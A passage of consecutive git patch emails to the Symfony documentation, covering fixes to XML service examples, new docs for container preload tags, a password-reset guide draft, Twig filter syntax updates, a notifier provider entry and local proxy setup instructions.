+start without PHP-FPM and will show a ``Page not found`` page when trying to
 access a ``.php`` file in the browser.
 
 .. tip::
 
     When an ``index.html`` and a front controller like e.g. ``index.php`` are
-    both present the server will still start with PHP-FPM enabled but the 
+    both present the server will still start with PHP-FPM enabled but the
     ``index.html`` will take precedence over the front controller. This means
     when an ``index.html`` file is present in ``public`` or ``web``, it will be
     displayed instead of the ``index.php`` which would show e.g. the Symfony
@@ -222,6 +222,12 @@ domains work:
 
     $ https_proxy=http://127.0.0.1:7080 curl https://my-domain.wip
 
+.. note::
+
+    Although env var names are always defined in uppercase, the ``https_proxy``
+    env var `is treated differently`_ than other env vars and its name must be
+    spelled in lowercase.
+
 .. tip::
 
     If you prefer to use a different TLD, edit the ``~/.symfony/proxy.json``
@@ -410,3 +416,4 @@ that Composer will also set the stability to ``dev`` for all root dependencies):
 .. _`proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
+.. `is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only

From 949348e8aa1fe38e828e441907eb46cd83b7573a Mon Sep 17 00:00:00 2001
From: Jochem Klaver <7ochem@users.noreply.github.com>
Date: Thu, 23 Apr 2020 12:11:17 +0200
Subject: [PATCH 0674/7107] Fix service contracts import XML example

---
 service_container/import.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index 1c52d08ab39..f38c2a33525 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -103,14 +103,16 @@ a relative or absolute path to the imported file:
 
             <imports>
                 <import resource="services/mailer.xml"/>
+            </imports>
 
+            <services>
                 <defaults autowire="true" autoconfigure="true"/>
 
                 <prototype namespace="App\" resource="../src/*"
                     exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
 
                 <!-- ... -->
-            </imports>
+            </services>
         </container>
 
     .. code-block:: php

From 9d6e8fe3712a1b69496015364eb35c45bf58776e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Apr 2020 11:02:59 +0200
Subject: [PATCH 0675/7107] [DI] Document the container preload tags

---
 performance.rst        |   4 ++
 reference/dic_tags.rst | 106 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 110 insertions(+)

diff --git a/performance.rst b/performance.rst
index 28ee59dd434..b919f6a3906 100644
--- a/performance.rst
+++ b/performance.rst
@@ -122,6 +122,10 @@ The preload file path is the same as the compiled service container but with the
     ; php.ini
     opcache.preload=/path/to/project/var/cache/prod/srcApp_KernelProdContainer.preload.php
 
+Use the :ref:`container.preload <dic-tags-container-preload>` and
+:ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define
+which classes should or should not be preloaded PHP.
+
 .. _performance-configure-opcache:
 
 Configure OPcache for Maximum Performance
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 48e06315969..d07716d296b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -14,6 +14,8 @@ Tag Name                                  Usage
 `auto_alias`_                             Define aliases based on the value of container parameters
 `console.command`_                        Add a command
 `container.hot_path`_                     Add to list of always needed services
+`container.no_preload`_                   Remove a class from the list of classes preloaded by PHP
+`container.preload`_                      Add some class to the list of classes preloaded by PHP
 `controller.argument_value_resolver`_     Register a value resolver for controller arguments such as ``Request``
 `data_collector`_                         Create a class that collects custom data for the profiler
 `doctrine.event_listener`_                Add a Doctrine event listener
@@ -212,6 +214,109 @@ for services and their class hierarchy. The result is as significant performance
 
 Use this tag with great caution, you have to be sure that the tagged service is always used.
 
+.. _dic-tags-container-nopreload:
+
+container.no_preload
+--------------------
+
+**Purpose**: Remove a class from the list of classes preloaded by PHP
+
+.. versionadded:: 5.1
+
+    The ``container.no_preload`` tag was introduced in Symfony 5.1.
+
+Add this tag to a service and its class won't be preloaded when using
+`PHP class preloading`_:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\SomeNamespace\SomeService:
+                tags: ['container.no_preload']
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\SomeNamespace\SomeService">
+                    <tag name="container.no_preload"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\SomeNamespace\SomeService;
+
+        $container
+            ->register(SomeService::class)
+            ->addTag('container.no_preload')
+        ;
+
+.. _dic-tags-container-preload:
+
+container.preload
+-----------------
+
+**Purpose**: Add some class to the list of classes preloaded by PHP
+
+.. versionadded:: 5.1
+
+    The ``container.preload`` tag was introduced in Symfony 5.1.
+
+When using `PHP class preloading`_, this tag allows you to define which PHP
+classes should be preloaded. This can improve performance by making some of the
+classes used by your service always available for all requests (until the server
+is restarted):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\SomeNamespace\SomeService:
+                tags:
+                    - { name: 'container.preload', class: 'App\SomeClass' }
+                    - { name: 'container.preload', class: 'App\Some\OtherClass' }
+                    # ...
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\SomeNamespace\SomeService">
+                    <tag name="container.preload" class="App\SomeClass"/>
+                    <tag name="container.preload" class="App\Some\OtherClass"/>
+                    <!-- ... -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Some\OtherClass;
+        use App\SomeClass;
+        use App\SomeNamespace\SomeService;
+
+        $container
+            ->register(SomeService::class)
+            ->addTag('container.preload', ['class' => SomeClass::class)
+            ->addTag('container.preload', ['class' => OtherClass::class)
+            // ...
+        ;
+
 controller.argument_value_resolver
 ----------------------------------
 
@@ -1214,3 +1319,4 @@ Bridge.
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
 .. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
+.. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload

From e100a5de588d5cd0ceb6910eefd6cb944b867c8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Apr 2020 17:25:30 +0200
Subject: [PATCH 0676/7107] Fixed an RST syntax issue

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5a1df7f09e2..b338635111c 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -416,4 +416,4 @@ that Composer will also set the stability to ``dev`` for all root dependencies):
 .. _`proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
-.. `is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only
+.. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only

From a4c8b08f3819aef14712703283a5448750ce6172 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@geeshoe.com>
Date: Thu, 23 Apr 2020 15:27:51 -0400
Subject: [PATCH 0677/7107] draft reset password doc

---
 security/reset_password.rst | 56 +++++++++++++++++++++++++++++++++++++
 1 file changed, 56 insertions(+)
 create mode 100644 security/reset_password.rst

diff --git a/security/reset_password.rst b/security/reset_password.rst
new file mode 100644
index 00000000000..adf5fe8adf1
--- /dev/null
+++ b/security/reset_password.rst
@@ -0,0 +1,56 @@
+How to add secure forgotten password functionality
+==================================================
+
+Using `MakerBundle`_ & `Symfony Cast's Reset Password Bundle`_ you can create a
+secure out of the box solution to handle forgotten passwords.
+
+.. caution::
+
+    Make sure you have created a ``User`` class with a getter method to retrieve
+    the users unique email address. The :doc:`Security Guide </security>` will help you
+    install security.
+
+Bootstrap reset password functionality
+---------------------------------------------
+
+.. code-block:: terminal
+
+    $ php composer require symfonycasts/reset-password-bundle
+        .....
+    $ php bin/console make:reset-password
+
+
+The reset password maker will then ask you a couple questions about your app and
+generate the required files. Afterword's you should see a list of the files generated.
+
+.. code-block:: terminal
+
+    created: src/Controller/ResetPasswordController.php
+    created: src/Entity/ResetPasswordRequest.php
+    created: src/Repository/ResetPasswordRequestRepository.php
+    updated: config/packages/reset_password.yaml
+    created: src/Form/ResetPasswordRequestFormType.php
+    created: src/Form/ChangePasswordFormType.php
+    created: templates/reset_password/check_email.html.twig
+    created: templates/reset_password/email.html.twig
+    created: templates/reset_password/request.html.twig
+    created: templates/reset_password/reset.html.twig
+
+
+    Success!
+
+
+    Next:
+    1) Run "php bin/console make:migration" to generate a migration for the new "App\Entity\ResetPasswordRequest" entity.
+    2) Review forms in "src/Form" to customize validation and labels.
+    3) Review and customize the templates in `templates/reset_password`.
+    4) Make sure your MAILER_DSN env var has the correct settings.
+
+    Then open your browser, go to "/reset-password" and enjoy!
+
+You can customize the reset password bundle's behavior by editing ``reset_password.yaml``.
+For more information on the configuration, check out the
+`Symfony Cast's Reset Password Bundle`_  guide.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Symfony Cast's Reset Password Bundle`: https://github.com/symfonycasts/reset-password-bundle

From da7b2b35d60de5d86117e3d880c32e9146509212 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@geeshoe.com>
Date: Thu, 23 Apr 2020 15:33:22 -0400
Subject: [PATCH 0678/7107] link reset password doc in security

---
 security.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security.rst b/security.rst
index 9384426da5d..81031c9b3df 100644
--- a/security.rst
+++ b/security.rst
@@ -1015,6 +1015,7 @@ Authentication (Identifying/Logging in the User)
     :maxdepth: 1
 
     security/form_login_setup
+    security/reset_password
     security/json_login_setup
     security/guard_authentication
     security/password_migration

From c8a9d4609bbede7f6536888ef09b64d1e1380350 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@geeshoe.com>
Date: Thu, 23 Apr 2020 15:49:34 -0400
Subject: [PATCH 0679/7107] fix title

---
 security/reset_password.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index adf5fe8adf1..32765ec8eda 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -1,4 +1,4 @@
-How to add secure forgotten password functionality
+How To Add Secure Password Reset Functionality
 ==================================================
 
 Using `MakerBundle`_ & `Symfony Cast's Reset Password Bundle`_ you can create a

From 03032758d6450ef6351a6370b6f2729f292f7038 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@geeshoe.com>
Date: Thu, 23 Apr 2020 16:43:59 -0400
Subject: [PATCH 0680/7107] remove generated code

---
 security/reset_password.rst | 28 ++--------------------------
 1 file changed, 2 insertions(+), 26 deletions(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index 32765ec8eda..d0344120c16 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -21,32 +21,8 @@ Bootstrap reset password functionality
 
 
 The reset password maker will then ask you a couple questions about your app and
-generate the required files. Afterword's you should see a list of the files generated.
-
-.. code-block:: terminal
-
-    created: src/Controller/ResetPasswordController.php
-    created: src/Entity/ResetPasswordRequest.php
-    created: src/Repository/ResetPasswordRequestRepository.php
-    updated: config/packages/reset_password.yaml
-    created: src/Form/ResetPasswordRequestFormType.php
-    created: src/Form/ChangePasswordFormType.php
-    created: templates/reset_password/check_email.html.twig
-    created: templates/reset_password/email.html.twig
-    created: templates/reset_password/request.html.twig
-    created: templates/reset_password/reset.html.twig
-
-
-    Success!
-
-
-    Next:
-    1) Run "php bin/console make:migration" to generate a migration for the new "App\Entity\ResetPasswordRequest" entity.
-    2) Review forms in "src/Form" to customize validation and labels.
-    3) Review and customize the templates in `templates/reset_password`.
-    4) Make sure your MAILER_DSN env var has the correct settings.
-
-    Then open your browser, go to "/reset-password" and enjoy!
+generate the required files. Afterword's you should see the success message,
+a list of the files generated, and any other task's that may need to be performed.
 
 You can customize the reset password bundle's behavior by editing ``reset_password.yaml``.
 For more information on the configuration, check out the

From 6e39c5c0e5f0f2be4dbe38f004fc5d61122f8c7c Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@geeshoe.com>
Date: Thu, 23 Apr 2020 16:46:58 -0400
Subject: [PATCH 0681/7107] fix typo

---
 security/reset_password.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index d0344120c16..500e44c61ee 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -1,4 +1,4 @@
-How To Add Secure Password Reset Functionality
+How to Add Secure Password Reset Functionality
 ==================================================
 
 Using `MakerBundle`_ & `Symfony Cast's Reset Password Bundle`_ you can create a

From e964751c24c007c7755a9fdf0274b981c78a120b Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@geeshoe.com>
Date: Thu, 23 Apr 2020 16:53:04 -0400
Subject: [PATCH 0682/7107] refactor caution msg

---
 security/reset_password.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index 500e44c61ee..10a99403dc6 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -1,5 +1,5 @@
 How to Add Secure Password Reset Functionality
-==================================================
+==============================================
 
 Using `MakerBundle`_ & `Symfony Cast's Reset Password Bundle`_ you can create a
 secure out of the box solution to handle forgotten passwords.
@@ -7,11 +7,11 @@ secure out of the box solution to handle forgotten passwords.
 .. caution::
 
     Make sure you have created a ``User`` class with a getter method to retrieve
-    the users unique email address. The :doc:`Security Guide </security>` will help you
-    install security.
+    the users unique email address. The :doc:`Security Guide </security>` will
+    help you install security and create your user class.
 
 Bootstrap reset password functionality
----------------------------------------------
+--------------------------------------
 
 .. code-block:: terminal
 

From 2bf047383b7ad559e2b7a942d3b93ff383518810 Mon Sep 17 00:00:00 2001
From: Jochem Klaver <7ochem@users.noreply.github.com>
Date: Fri, 24 Apr 2020 09:04:57 +0200
Subject: [PATCH 0683/7107] Remove old AppBundle code from XML service
 definition example

---
 service_container.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 54e73645f60..e0d2de287ca 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -176,12 +176,12 @@ each time you ask for it.
                     <!-- Default configuration for services in *this* file -->
                     <defaults autowire="true" autoconfigure="true"/>
 
+                    <!-- makes classes in src/ available to be used as services -->
+                    <!-- this creates a service per class whose id is the fully-qualified class name -->
                     <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
 
-                    <!-- makes classes in src/AppBundle available to be used as services -->
-                    <prototype namespace="AppBundle\"
-                        resource="../../src/AppBundle/*"
-                        exclude="../../src/AppBundle/{Entity,Repository}"/>
+                    <!-- ... -->
+
                 </services>
             </container>
 

From 4e6fd23cf56a07756944af5e5f072b3a5e3f5ef3 Mon Sep 17 00:00:00 2001
From: Yaroslav Yaremenko <yyaremenko@users.noreply.github.com>
Date: Sun, 26 Apr 2020 16:09:02 +0300
Subject: [PATCH 0684/7107] Update forms.rst

increase emphasis on the two ways (approaches) of adding constraints in Symfony
---
 forms.rst | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/forms.rst b/forms.rst
index 54ab2d5ac79..7ae7add03f8 100644
--- a/forms.rst
+++ b/forms.rst
@@ -459,9 +459,15 @@ Before using validation, add support for it in your application:
 
     $ composer require symfony/validator
 
-Validation is done by adding a set of rules (called constraints) to a class. To
-see this in action, add validation constraints so that the ``task`` field cannot
-be empty and the ``dueDate`` field cannot be empty and must be a valid \DateTime
+Validation is done by adding a set of rules, called (validation) constraints,
+to a class.
+
+There are two approaches - you can either add the constraints to the entity,
+or you can add the constraints to the form.
+
+To see the first approach - adding constraints to the entity - in action, 
+add the validation constraints, so that the ``task`` field cannot be empty,
+and the ``dueDate`` field cannot be empty, and must be a valid \DateTime
 object.
 
 .. configuration-block::
@@ -544,9 +550,11 @@ object.
         }
 
 That's it! If you re-submit the form with invalid data, you'll see the
-corresponding errors printed out with the form. Read the
-:doc:`Symfony validation documentation </validation>` to learn more about this
-powerful feature.
+corresponding errors printed out with the form. 
+
+To see the second approach - adding constraints to the form and to
+learn more about the validation constraints, please refer to the
+:doc:`Symfony validation documentation </validation>`.
 
 Other Common Form Features
 --------------------------

From ae6ae33bfedf40bccd15afd14ebe11b2491f36e9 Mon Sep 17 00:00:00 2001
From: BooleanType <booleantype@ya.ru>
Date: Sun, 26 Apr 2020 15:51:04 +0200
Subject: [PATCH 0685/7107] Adding an if condition on a for tag is deprecated
 in Twig 2.10.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

I've got an error, running example from the docs. Here is the explanation: https://twig.symfony.com/doc/2.x/deprecated.html#tags
I propose to use a filter filter or an “if” condition inside the “for” body instead in this docs.
---
 form/create_custom_field_type.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index cc9ffe65df1..7f1df3731f1 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -405,7 +405,7 @@ libraries are used in your application:
 
     {# templates/form/custom_types.html.twig #}
     {% block postal_address_row %}
-        {% for child in form.children if not child.rendered %}
+        {% for child in form.children|filter(v => not v.rendered) -%}
             <div class="form-group">
                 {{ form_label(child) }}
                 {{ form_widget(child) }}

From 6ef85a3996b935409bff83c7d8cace1860dee7e4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Apr 2020 09:57:46 +0200
Subject: [PATCH 0686/7107] Renamed a variable

---
 form/create_custom_field_type.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 7f1df3731f1..5698462487e 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -405,7 +405,7 @@ libraries are used in your application:
 
     {# templates/form/custom_types.html.twig #}
     {% block postal_address_row %}
-        {% for child in form.children|filter(v => not v.rendered) -%}
+        {% for child in form.children|filter(child => not child.rendered) %}
             <div class="form-group">
                 {{ form_label(child) }}
                 {{ form_widget(child) }}

From 4dc866829d519d09ac3ff1c4536406dd121b18d7 Mon Sep 17 00:00:00 2001
From: John Spaetzel <john.spaetzel@gmail.com>
Date: Tue, 28 Apr 2020 19:08:53 -0700
Subject: [PATCH 0687/7107] Fix link to ServiceSubscriberInterface

---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8f9bd1e27ed..6a193b70cdf 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -65,7 +65,7 @@ through a **Service Locator**, a separate lazy-loaded container.
 Defining a Service Subscriber
 -----------------------------
 
-First, turn ``CommandBus`` into an implementation of :class:`Symfony\\Component\\DependencyInjection\\ServiceSubscriberInterface`.
+First, turn ``CommandBus`` into an implementation of :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`.
 Use its ``getSubscribedServices()`` method to include as many services as needed
 in the service subscriber and change the type hint of the container to
 a PSR-11 ``ContainerInterface``::

From c76ae44a1009a5053762c029026bcc831c0a56f1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Tue, 28 Apr 2020 16:24:54 +0200
Subject: [PATCH 0688/7107] [Error pages] Add missing use

---
 controller/error_pages.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 8002f3848e4..2035067a43b 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -212,6 +212,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
     # src/App/Serializer/MyCustomProblemNormalizer.php
     namespace App\Serializer;
 
+    use Symfony\Component\ErrorHandler\Exception\FlattenException;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
 
     class MyCustomProblemNormalizer implements NormalizerInterface

From 259c1e25da0b81539808f62d45c23d415eae746b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 28 Apr 2020 11:54:51 +0200
Subject: [PATCH 0689/7107] [Notifier] Add FreeMobile SMS entry

---
 notifier.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 1b9ebc535be..4db058ee6a0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -52,18 +52,19 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-========  =============================  ===========================================
-Service   Package                        DSN
-========  =============================  ===========================================
-Twilio    ``symfony/twilio-notifier``    ``twilio://SID:TOKEN@default?from=FROM``
-Nexmo     ``symfony/nexmo-notifier``     ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud  ``symfony/ovhcloud-notifier``  ``ovhcloud://KEY:SECRET@default?from=FROM``
-Sinch     ``symfony/sinch-notifier``     ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-========  =============================  ===========================================
+==========  ===============================  ====================================================
+Service     Package                          DSN
+==========  ===============================  ====================================================
+Twilio      ``symfony/twilio-notifier``      ``twilio://SID:TOKEN@default?from=FROM``
+Nexmo       ``symfony/nexmo-notifier``       ``nexmo://KEY:SECRET@default?from=FROM``
+OvhCloud    ``symfony/ovhcloud-notifier``    ``ovhcloud://KEY:SECRET@default?from=FROM``
+Sinch       ``symfony/sinch-notifier``       ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+FreeMobile  ``symfony/freemobile-notifier``  ``freemobile://LOGIN:PASS@default?phone=PHONE``
+==========  ===============================  ====================================================
 
 .. versionadded:: 5.1
 
-    The OvhCloud and Sinch integrations were introduced in Symfony 5.1.
+    The OvhCloud, Sinch and FreeMobile integrations were introduced in Symfony 5.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 394385d795814f6795a709813dfa12f7789bf7f8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Mon, 27 Apr 2020 19:19:04 +0200
Subject: [PATCH 0690/7107] Fix PHP example on ExpressionLanguage Injection

---
 service_container/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9a77cb1a817..06d00c4a2ad 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,7 +67,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
-                ->args([expr(sprintf('service(%s).getMailerMethod()', MailerConfiguration::class))]);
+                ->args([expr(sprintf('service(%s).getMailerMethod()', var_export(MailerConfiguration::class, true)))]);
         };
 
 

From 5bfe888c31e05aff185c643cd4f77bab07a08088 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Apr 2020 17:20:13 +0200
Subject: [PATCH 0691/7107] Tweak

---
 service_container/expression_language.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 06d00c4a2ad..62f469ed59d 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,10 +67,9 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
-                ->args([expr(sprintf('service(%s).getMailerMethod()', var_export(MailerConfiguration::class, true)))]);
+                ->args([expr("service('App\\Mail\\MailerConfiguration').getMailerMethod()")]);
         };
 
-
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
 
 In this context, you have access to 2 functions:

From 9524fea7c89c2de2ea73abd69866c8271cd637d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Apr 2020 16:46:57 +0200
Subject: [PATCH 0692/7107] Improve the docs about the Symfony server proxy

---
 setup/symfony_server.rst | 29 +++++++++++++++++++----------
 1 file changed, 19 insertions(+), 10 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b338635111c..cf446c2f042 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -181,19 +181,28 @@ local IP. However, sometimes it is preferable to associate a domain name to them
 Setting up the Local Proxy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Local domains are possible thanks to a local proxy provided by the Symfony
-server. First, start the proxy:
+Local domains are possible thanks to a local proxy provided by the Symfony server.
+If this is the first time you run the proxy, you must configure it as follows:
+
+#. Open the **proxy settings** of your operating system:
+
+   * `Proxy settings in Windows`_;
+   * `Proxy settings in macOS`_;
+   * `Proxy settings in Ubuntu`_.
+
+#. Set the following URL as the value of the **Automatic Proxy Configuration**:
+   ``http://127.0.0.1:7080/proxy.pac``
+
+Now run this command to start the proxy:
 
 .. code-block:: terminal
 
     $ symfony proxy:start
 
-If this is the first time you run the proxy, you must configure it as follows:
+.. note::
 
-* Open the **proxy settings** of your operating system (`proxy settings in Windows`_,
-  `proxy settings in macOS`_, `proxy settings in Ubuntu`_);
-* Set the following URL as the value of the **Automatic Proxy Configuration**:
-  ``http://127.0.0.1:7080/proxy.pac``
+    Some browsers (e.g. Chrome) require a full restart after starting the proxy.
+    Otherwise, you'll see a *"This webpage is not available"* error (``ERR_NAME_NOT_RESOLVED``).
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -413,7 +422,7 @@ that Composer will also set the stability to ``dev`` for all root dependencies):
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
 .. _`SymfonyCloud`: https://symfony.com/cloud/
 .. _`Read SymfonyCloud technical docs`: https://symfony.com/doc/master/cloud/intro.html
-.. _`proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
-.. _`proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
-.. _`proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
+.. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
+.. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
+.. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
 .. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only

From da1418bfd8d9f11b839a142e68ef5a33c10e1fbc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Sat, 2 May 2020 08:31:38 +0200
Subject: [PATCH 0693/7107] add use statement for the needed extension class

---
 bundles/extension.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index e119f054329..c6cdabd05a6 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -146,11 +146,13 @@ I/O operations and increases the application performance.
 Your bundles can also add their own classes into this file thanks to the
 ``addClassesToCompile()`` and ``addAnnotatedClassesToCompile()`` methods (both
 work in the same way, but the second one is for classes that contain PHP
-annotations). Define the classes to compile as an array of their fully qualified
-class names::
+annotations). These methods are provied by the ``Extension`` class from the
+HttpKernel component. Define the classes to compile as an array of their
+fully qualified class names::
 
     use AppBundle\Manager\UserManager;
     use AppBundle\Utils\Slugger;
+    use Symfony\Component\HttpKernel\DependencyInjection\Extension;
 
     // ...
     public function load(array $configs, ContainerBuilder $container)
@@ -182,6 +184,8 @@ class names::
 
 The classes to compile can also be added using file path patterns::
 
+    use Symfony\Component\HttpKernel\DependencyInjection\Extension;
+
     // ...
     public function load(array $configs, ContainerBuilder $container)
     {

From 2297bfa6c37c4a191b5b4ef36416fbf883030614 Mon Sep 17 00:00:00 2001
From: Pascal Montoya <pascal.montoya@labsbh.io>
Date: Mon, 4 May 2020 09:16:09 +0200
